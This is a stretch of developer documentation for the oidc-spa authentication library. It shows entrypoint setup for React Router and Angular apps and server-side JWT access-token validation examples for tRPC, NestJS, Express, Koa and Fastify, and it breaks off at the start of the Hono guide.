Let's assume your app entrypoint is `src/main.ts`.

First, rename it to `src/main.lazy.ts`.

```bash
mv src/main.ts src/main.lazy.ts
```

Then create a new `src/main.ts` file:

{% code title="src/main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit({
    BASE_URL: "/" // The path where your app is hosted. You can also pass it later to createOidc().
});

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}
{% endtab %}

{% tab title="Manual - Easy" %}
If you’re not using Vite and you can’t edit your app’s entry file, run `oidcEarlyInit()` in the same module where you call `createOidc()`.

Note however that implementing this option [dowgrades the security posture of your app](/v9/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell) compared to the two other approaches, and, in some instances, might conflict with your client side routing library.

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript"><strong>import { oidcEarlyInit, } from "oidc-spa/entrypoint";
</strong>import { oidcSpa } from "oidc-spa/react-spa";

<strong>// Should run as early as possible.  
</strong><strong>oidcEarlyInit({ 
</strong><strong>   BASE_URL: "/" // The path where your app is hosted
</strong><strong>});
</strong>
export const { /* ... */ } = oidcSpa./*...*/
</code></pre>

{% endtab %}
{% endtabs %}

## Learning from the example

You're going to be cloning this example:

{% embed url="<https://example-react-router-framework.oidc-spa.dev/>" %}

React Router v7 has [three modes](https://reactrouter.com/start/modes) pick the one for you:

{% tabs %}
{% tab title="Declarative Mode" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-declarative rr-declarative-oidc
cd rr-declarative-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-declarative>" %}
{% endtab %}

{% tab title="Data Mode" %}

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-data rr-data-oidc
cd rr-data-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-data>" %}
{% endtab %}

{% tab title="Framework Mode" %}
{% hint style="warning" %}
The security features of `oidc-spa` are not fully effective with React Router Framework.

The security model relies on [hardening the environment before any code is evaluated](/v9/security-features/overview#how-oidc-spa-achieves-this-in-a-nutshell). If that invariant does not hold, a supply chain attack can alter the JavaScript runtime before `oidc-spa` can secure it.

React Router Framework [does not expose a true client entrypoint](https://github.com/keycloakify/oidc-spa/issues/110#issuecomment-3499101635). There’s no workaround for this.

Bottom line: you can run React Router Framework in SPA mode and it will work, but `oidc-spa` cannot protect your tokens any more than other browser-side OIDC solutions. If security is a top priority, consider [migrating to TanStack](/v9/integration-guides/tanstack-router-start).
{% endhint %}

### Enabling SPA mode

This is non optional. React Router Framework does not expose the primitives to enable solution like oidc-spa to provide a full stack story. (You may want to give [TanStack Start](https://tanstack.com/start/latest) a try)

<pre class="language-typescript" data-title="react-router.config.ts"><code class="lang-typescript">import type { Config } from "@react-router/dev/config";

export default {
<strong>    ssr: false
</strong>} satisfies Config;
</code></pre>

### The example

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/react-router-framework rr-framework-oidc
cd rr-framework-oidc
# You can use our preconfigured Keycloak, Auth0, or Google OAuth test accounts
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: src/oidc.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/react-router-framework>" %}
{% endtab %}
{% endtabs %}

## Creating an API server

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/v9/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Angular

## Installation and Setup

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:** [Zod](https://zod.dev/) is optional but highly recommended (it's not used in the simple example, only in the advanced one) .\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

## Editing your entrypoint

To protect tokens against supply-chain attacks and XSS, oidc-spa must run some initialization code *before any other JavaScript in your app*.

This design provides much stronger security guarantees than any other adapter, and it also delivers unmatched login performance. More details [here](broken://pages/o7mf9sx2j3zFyddFEHST).

First rename your entry point file from `main.ts` to `main.lazy.ts`

```bash
mv src/main.tsx src/main.lazy.tsx
```

Then create a new `main.ts` file:

{% code title="main.ts" %}

```typescript
import { oidcEarlyInit } from "oidc-spa/entrypoint";

const { shouldLoadApp } = oidcEarlyInit();

if (shouldLoadApp) {
    // Note: Deferring the main app import adds a few milliseconds to cold start,
    // but dramatically speeds up auth. Overall, it's a net win.
    import("./main.lazy");
}
```

{% endcode %}

***

## Basic Example

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/angular oidc-spa-angular
cd oidc-spa-angular
npm install
npm run start
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/angular>" %}

## Advanced example

Live here: [https://example-angular.oidc-spa.dev](https://example-angular.oidc-spa.dev/)

This setup show you how you can:&#x20;

* Mock implementation of the adapter.
* Fetching the initialization parameter remotly.
* Protecting groupes based on roles.
* Validating the shape of the access token.
* Early rendering of public pages before oidc has finished initializing.

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/angular-kitchensink oidc-spa-angular-kitchensink
cd oidc-spa-angular-kitchensink
npm install
npm run start
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/angular-kitchensink>" %}

## Creating an API server

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/v9/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Backend Token Validation

Creating a OAuth2 enabled resource server.

Now that you’ve set up oidc-spa in your web app, you can call your API like this:

```typescript
const todos = fetch("/api/todos", { 
    headers: {
        Authorization: `Bearer ${await oidc.getAccessToken()}`
    }
});
```

Next, let’s implement the backend side of things.

When you implement the server `GET /api/todos` handler, you want to read the `Authorization` header.\
Use it to authenticate the user.\
Optionally, check permissions (roles/scopes) to authorize the request.

If you’re building a JavaScript backend (Express, Hono, tRPC, NestJS, etc.), oidc-spa provides utilities to validate and decode access tokens.\
Validation includes DPoP proof checks and replay protection.

<details>

<summary>More context</summary>

The server-side validation utilities in oidc-spa implement [RFC 9068: JSON Web Token (JWT) Profile for OAuth 2.0 Access Tokens](https://datatracker.ietf.org/doc/rfc9068/).

JWT validation works offline.\
There’s no need to contact your authorization server for every request.

`oidc-spa/server` fetches the public key published by your IdP once.\
It then uses it to verify that each incoming token:

* was signed by the IdP
* targets the expected audience
* hasn’t expired
* has a valid [DPoP proof](broken://spaces/UhNOMoIddws1XoAnT5Nn/pages/AkX224WAW7UAYAoUymBd) (if applicable)

This is a big win for edge runtimes.\
Identity and authorization can be established locally, with no external round trips.

To authorize certain routes or actions, you can perform additional checks on claims like `groups` or `realm_access.roles`.

Some IdPs don’t issue JWT access tokens by default and issue opaque access tokens instead.

Opaque access tokens can’t be validated in a provider-agnostic way like JWTs can.\
If your IdP issues opaque access tokens, you’ll need provider-specific tooling.\
In that case, you won’t be able to use `oidc-spa/server`.

</details>

## Integration

Integration instruction for common HTTP framworks. This only covers REST APIs and RPC. For securing WebSocket connection [see bellow](/v9/integration-guides/backend-token-validation#websocket).

<table data-view="cards"><thead><tr><th data-card-target data-type="content-ref">Docs</th><th data-hidden>Option</th></tr></thead><tbody><tr><td><a href="/pages/U95czlJaG5VGFSiLaeUm">/pages/U95czlJaG5VGFSiLaeUm</a></td><td>NestJS</td></tr><tr><td><a href="/pages/jPYFd1DOgIwEr8YEhJ6x">/pages/jPYFd1DOgIwEr8YEhJ6x</a></td><td>tRPC</td></tr><tr><td><a href="/pages/ouqjtmsZVJywv5rMklIc">/pages/ouqjtmsZVJywv5rMklIc</a></td><td>TanStack Start</td></tr><tr><td><a href="/pages/D7oSdXrY8PpRNgwq8P0j">/pages/D7oSdXrY8PpRNgwq8P0j</a></td><td>Koa</td></tr><tr><td><a href="/pages/dpMjSkwHciZoaYThM3xK">/pages/dpMjSkwHciZoaYThM3xK</a></td><td>Fastify</td></tr><tr><td><a href="/pages/YklVLJe1CNTx5tAEmDL3">/pages/YklVLJe1CNTx5tAEmDL3</a></td><td>Hono</td></tr><tr><td><a href="/pages/d1qbPv2oiUEBc6J3j5sN">/pages/d1qbPv2oiUEBc6J3j5sN</a></td><td>Express.js</td></tr></tbody></table>

<details>

<summary>JS Runtime level integration</summary>

<table data-view="cards"><thead><tr><th data-card-target data-type="content-ref">Docs</th></tr></thead><tbody><tr><td><a href="/pages/8IHPKsisQp1ZEgtiRmTI">/pages/8IHPKsisQp1ZEgtiRmTI</a></td></tr><tr><td><a href="/pages/d2qm0aCjKdy6kvR8uvUR">/pages/d2qm0aCjKdy6kvR8uvUR</a></td></tr><tr><td><a href="/pages/vNMUshRNFWPeFKiFOtWv">/pages/vNMUshRNFWPeFKiFOtWv</a></td></tr><tr><td><a href="/pages/7iLCD0QZbmGywDt5qJd7">/pages/7iLCD0QZbmGywDt5qJd7</a></td></tr><tr><td><a href="/pages/yfnnatrSBynS6LZmpmMQ">/pages/yfnnatrSBynS6LZmpmMQ</a></td></tr></tbody></table>

</details>

## WebSocket

{% content-ref url="/pages/2h9b2JIP2ifZUPpmy07q" %}
[WebSocket](/v9/integration-guides/backend-token-validation/websocket)
{% endcontent-ref %}

## Mock Modes

{% content-ref url="/pages/5zhvDapwmFpSUUyRfzBp" %}
[Mock Modes](/v9/integration-guides/backend-token-validation/mock-modes)
{% endcontent-ref %}

## TODO List Example

A TODO list example app built with Vite / React / TanStack Router on the frontend, and Node.js / Hono on the backend.

{% embed url="<https://youtu.be/33VijFArY9s>" %}

The app is live here:

{% embed url="<https://vite-insee-starter.demo-domain.ovh/>" %}

Source code (REST API):

{% embed url="<https://github.com/InseeFrLab/todo-rest-api>" %}

Source code (frontend):

{% embed url="<https://github.com/InseeFrLab/vite-insee-starter>" %}


# tRPC

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import express from "express";
import * as fs from "node:fs/promises";
import { z } from "zod";
import { initTRPC } from "@trpc/server";
import { createExpressMiddleware } from "@trpc/server/adapters/express";
import type { Request } from "express";
import { bootstrapAuth, getUser } from "./auth"; // See below

function startExpressTrpcServer() {
<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = express();

<strong>    /**
</strong><strong>     * Key idea: Wether you use use Express or something else
</strong><strong>     * as underlying HTTP framework, just expose whatever the 
</strong><strong>     * request object representation is to the global context.
</strong><strong>     * oidc-spa will be able to extract the auth context from it.
</strong><strong>     */
</strong><strong>    const createContext = ({ req }: { req: Request }) => ({ req });
</strong>
    type Context = ReturnType&#x3C;typeof createContext>;

    const t = initTRPC.context&#x3C;Context>().create();

    const appRouter = t.router({
        todos: t.procedure.query(async ({ ctx }) => {
<strong>            const user = await getUser({ req: ctx.req });
</strong>            const json = await fs.readFile(
<strong>                `todos_${user.id}.json`, 
</strong>                "utf8"
            );
            return JSON.parse(json);
        }),

        todosForSupportStaff: t.procedure
            .input(z.object({ userId: z.string() }))
            .query(async ({ ctx, input }) => {
                // Will reject the request if user making the request
                // doesn't have "support-staff" role
<strong>                await getUser({ req: ctx.req, requiredRole: "support-staff" });
</strong>                const json = await fs.readFile(`todos_${input.userId}.json`, "utf8");
                return JSON.parse(json);
            })
    });

    app.use(
        "/trpc",
        // Needed for tRPC POST requests.
        express.json(),
        createExpressMiddleware({
            router: appRouter,
            createContext
        })
    );

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { TRPCError } from "@trpc/server";
import type { Request } from "express";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        // Here request accept any common representation of a request
        // Request | IncomingMessage | HonoRequest | FastifyRequest ...
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we throw on missing Authorization, but a mixed
        // public/private procedure could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        throw new TRPCError({ code: "UNAUTHORIZED" });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new TRPCError({ code: "BAD_REQUEST" });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new TRPCError({ code: "UNAUTHORIZED" });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new TRPCError({ code: "FORBIDDEN" });
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# NestJS

{% hint style="info" %}
If you prefer a more "Nestish" experience, there's a comunity wrapper around oidc-spa/server:

<https://github.com/mwolf1989/nestjs-spa-oidc>
{% endhint %}

This is how your Nest API would typically look like.

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { NestFactory } from "@nestjs/core";
import { AppModule } from "./app.module";
import { bootstrapAuth } from "./auth"; // See below
+import { ConfigService } from "@nestjs/config";

async function bootstrap() {
    const app = await NestFactory.create(AppModule, /* Any adapter */);

    // Requires ConfigModule.forRoot() somewhere in your imports (typically AppModule).
    const configService = app.get(ConfigService);

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: configService.get("OIDC_ISSUER_URI")!,
</strong><strong>        expectedAudience: configService.get("OIDC_AUDIENCE")
</strong><strong>    });
</strong>

    await app.listen(parseInt(configService.get("PORT") ?? "3000"));
}

bootstrap();
</code></pre>

And this is how your controlled would look:

<pre class="language-ts" data-title="src/todos.controller.ts"><code class="lang-ts">import * as fs from "node:fs/promises";
import { Controller, Get, Param, Req } from "@nestjs/common";
<strong>import { getUser } from "./auth";
</strong>
@Controller("api")
export class TodosController {
    @Get("todos")
    async getTodos(@Req() req) {
<strong>        const user = await getUser({ req });
</strong>        const json = await fs.readFile(`todos_${user.id}.json`, "utf8");
        return JSON.parse(json);
    }

    @Get("todos-for-support/:userId")
    async getTodosForSupportStaff(
        @Req() req, 
        @Param("userId") userId: string
    ) {
<strong>        // Will reject the request if user making the request
</strong><strong>        // doesn't have "support-staff" role.
</strong><strong>        await getUser({ req, requiredRole: "support-staff" });
</strong>        const json = await fs.readFile(`todos_${userId}.json`, "utf8");
        return JSON.parse(json);
    }
}
</code></pre>

This is the only “integration” code you need:

{% code title="src/auth.ts" %}

```ts
import { BadRequestException, ForbiddenException, UnauthorizedException } from "@nestjs/common";
import { oidcSpa, extractRequestAuthContext, type AnyRequest } from "oidc-spa/server";
import { z } from "zod";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local respresentation of a user
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    // This can be an Express Request object, a FastifyRequest object
    // or really any well know object that represent a request,
    // oidc-spa will normalize the representation internally.
    // so this function will work regardless of the HTTP framework
    // you're using to bootstrap your NestJS app.
    req: AnyRequest;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        throw new UnauthorizedException();
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new BadRequestException();
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new UnauthorizedException();
    }

    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new ForbiddenException();
        }
    }

    const { sub, name, email } = decodedAccessToken;

    return { id: sub, name, email };
}
```

{% endcode %}


# TanStack Start

If you are in a TanStack Start project you don't need to user `oidc-spa/server` directly. `oidc-spa/react-tanstack-start` already provides the utilities to create authed server functions and REST API endpoints.

{% content-ref url="/pages/d1qbPv2oiUEBc6J3j5sN" %}
[TanStack Start](/v9/integration-guides/tanstack-router-start/tanstack-start)
{% endcontent-ref %}


# Express.js

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import express from "express";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startExpressServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = express();

    app.get("/api/todos", async (req, res) => {

<strong>        const user = await getUser({ req, res });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`, 
</strong>            "utf8"
        );

        res.status(200).type("application/json").send(json);

    });

    app.get("/api/todos-for-support/:userId", async (req, res) => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ req, res, requiredRole: "support-staff" });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${req.params.userId}.json`,
</strong>            "utf8"
        );

        res.status(200).type("application/json").send(json);

    });

    // ...

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { Request, Response } from "express";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // Here you specify the claim you expect to be present in the decoded
        // JWT payload of the access token.  
        // What's included in the token is configured on the IdP side.
        // Here you declare what your application actually uses so that
        // the type get propagated and you get a clear error if the IdP does
        // not issue what your app expects.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    res: Response;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, res, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        res.sendStatus(statusCode);
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Koa

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import Koa from "koa";
import Router from "@koa/router";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
async function startKoaServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = new Koa();

    const router = new Router();

    router.get("/api/todos", async ctx => {

<strong>        const user = await getUser({ ctx });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`,
</strong>            "utf8"
        );

        ctx.status = 200;
        ctx.type = "application/json";
        ctx.body = json;

    });

    router.get("/api/todos-for-support/:userId", async ctx => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ ctx, requiredRole: "support-staff" });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${ctx.params.userId}.json`,
</strong>            "utf8"
        );

        ctx.status = 200;
        ctx.type = "application/json";
        ctx.body = json;

    });

    app.use(router.routes());
    app.use(router.allowedMethods());

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { Context } from "koa";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    ctx: Context;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { ctx, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: ctx.req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        ctx.throw(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        ctx.throw(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        ctx.throw(401); // Unauthorized
    }

    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            ctx.throw(403); // Forbidden
        }
    }

    const { sub, name, email } = decodedAccessToken;

    return { id: sub, name, email };
}
```

{% endcode %}


# Fastify

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import Fastify from "fastify";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
async function startFastifyServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const fastify = Fastify({
        // If you run behind a reverse proxy, you almost always want this enabled.
        // It affects things like the computed request origin.
        trustProxy: true
    });

    fastify.get("/api/todos", async (req, reply) => {

<strong>        const user = await getUser({ req, reply });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`,
</strong>            "utf8"
        );

        reply.code(200).type("application/json").send(json);

    });

    fastify.get("/api/todos-for-support/:userId", async (req, reply) => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ req, reply, requiredRole: "support-staff" });
</strong>
        const { userId } = req.params as { userId: string };

        const json = await fs.readFile(
<strong>            `todos_${userId}.json`,
</strong>            "utf8"
        );

        reply.code(200).type("application/json").send(json);

    });

    // ...

    await fastify.listen({
        port: parseInt(process.env.PORT ?? "3000"),
        host: "0.0.0.0"
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { FastifyReply, FastifyRequest } from "fastify";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: FastifyRequest;
    reply: FastifyReply;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, reply, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        reply.code(statusCode).send();
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Hono

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { Hono } from "hono";
import * as fs from "node:fs/promises";
